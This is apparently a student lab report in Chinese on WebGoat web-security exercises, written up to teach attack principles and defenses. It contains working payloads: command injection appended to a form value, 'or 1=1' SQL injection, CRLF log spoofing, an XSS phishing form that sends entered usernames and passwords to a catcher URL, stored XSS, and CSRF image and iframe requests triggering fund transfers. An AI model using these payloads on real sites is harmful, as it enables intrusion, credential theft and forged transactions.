zoukankan      html  css  js  c++  java
  • Exp9 Web安全基础

    一、实验目标

    理解和应用常用网络攻击技术的基本原理。

    二、实验步骤

    (一)SQL注入攻击

    1.命令注入:Command Injection

    原理:命令注入是通过在应用中执行宿主操作系统的命令,来达到破坏目的的一种攻击方式。如果我们的应用程序将不安全的用户输入传递给了系统命令解析器(shell),那么命令攻击就有可能发生。

    步骤:

    选中 Injection Flaws->Command Injection->inspect Element,右键选中inspect Elemnet,对图示的代码进行修改,在"helpfile"后添加"& netstat -an & ipconfig"。

    点击view,查看命令执行结果,可以看到攻击成功,能够看到攻击方与被攻击方建立了连接。

     

    2.数字型注入:Numeric SQL Injection

    原理:当我们的Web app在向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么恶意访问者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

    步骤:

    选中Injection Flaws->Numeric SQL Injectio->inspect Element,对源代码value="101"修改,在101后面添加or 1=1。

    or 1=1是返回正确的意思,能够使语句永真。

    3.日志欺骗:Log Spoofing

     原理:向日志添加虚假信息或插入脚本,管理员通过浏览器观看日志时恶意脚本会被执行。

    步骤:

    选择Injection Flaws->Log Spoofing,在User Name中输入webgoat%0d%0aLogin Succeeded for username: admin

    随意输入密码后点击Login,可以看到webgoat登陆失败了,而admin登陆成功了。

     

    (二)XSS攻击

    1.XSS 钓鱼:Phishing with XSS

    原理:创建一个表单,让受害者填写用户名和密码信息,然后会截取用户信息提交到webgoat上去。

    步骤:

    在搜索框中输入XSS攻击代码,代码如下:

    </form>
    <script>
    function hack(){ 
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
    </script>
    <form name="phish">
    <br>
    <br>
    <HR>
    <H2>This feature requires account login:</H2>
    <br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
    <br>
    <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>

    在搜索框中输入攻击代码后点击Search,出现要输入用户名密码的表单,输入用户名密码,显示攻击成功。

     

    2.Stored XSS Attacks(存储型XSS攻击)

    原理:攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。

    步骤:

    在Title中随意输入,在message中输入攻击代码<script>alert("lxm attack succeed!");</script>,点击Submit,攻击成功。

    (三)CSRF攻击

    1.Cross Site Request Forgery

    原理:写一个URL诱使其他用户点击,从而触发CSRF攻击,以图片的的形式将URL放进Message框,当用户点击图片,就会触发CSRF。

    步骤:

    在message框中输入代码<img src="http://localhost:8080/WebGoat/attack?Screen=325&menu=900&transferFunds=4301"/>,在页面右侧一栏可以看到Screen=324&menu=900。点击Submit后,可以看到转走用户4000元的信息,实现CSRF攻击。

     

    2.CSRF Prompt By-Pass

    原理:与1类似,构造CSRF攻击,其包括两个请求,一是转账请求,二是确认转账成功请求。需要额外传递两个参数给服务器(transferFunds=5000, transferFunds=CONFIRM)

    步骤:

    在message中输入以下代码:

    <iframe src="attack?Screen=280&menu=900&transferFunds=5000"> </iframe>
    <iframe src="attack?Screen=280&menu=900&transferFunds=CONFIRM"> </iframe

    攻击成功。

     

    三、实验思考与体会

    (一)基础问题回答

    (1)SQL注入攻击原理,如何防御

    原理:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。

    如何防御:对代码进行处理,使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤;采用字符串过滤;jsp中调用该函数检查是否包含非法字符。

    (2)XSS攻击的原理,如何防御

    原理:黑客通过HTML注入篡改网页,插入恶意脚本,即代码注入,XSS攻击允许恶意用户将代码注入到网页上,并能够被浏览器成功的执行,获取目标攻击网站cookie,使其他用户受到影响。

    如何防御:在表单提交或者url参数传递前,对需要的参数进行过滤;检查用户输入的内容中是否有非法内容。

    (3)CSRF攻击原理,如何防御

    原理:攻击者盗用了用户的身份,以用户的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作。

    如何防御:输入验证码来检测用户;在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token。

    (二)实验体会

    此次实验模拟了网络攻击的几种形式,可以看到在网站建设上要尽量的防止出现漏洞,以防被黑客所利用。

     

  • 相关阅读:
    C#一些定义
    顺序
    针对IE8的css hack
    js 数字,金额 用逗号 隔开。数字格式化
    Ubuntu下使用Vi是方向键变乱码 退格键不能使用的解决方法
    UBUNTU中如何获得root权限
    区分IE8 、IE9 的专属css hack
    ubuntu 安装 Sublime Text 2
    PHP执行zip与rar解压缩方法
    使用ThinkPHP时,双引号导致插入数据库经过转义的处理
  • 原文地址:https://www.cnblogs.com/4301xn/p/12964539.html
Copyright © 2011-2022 走看看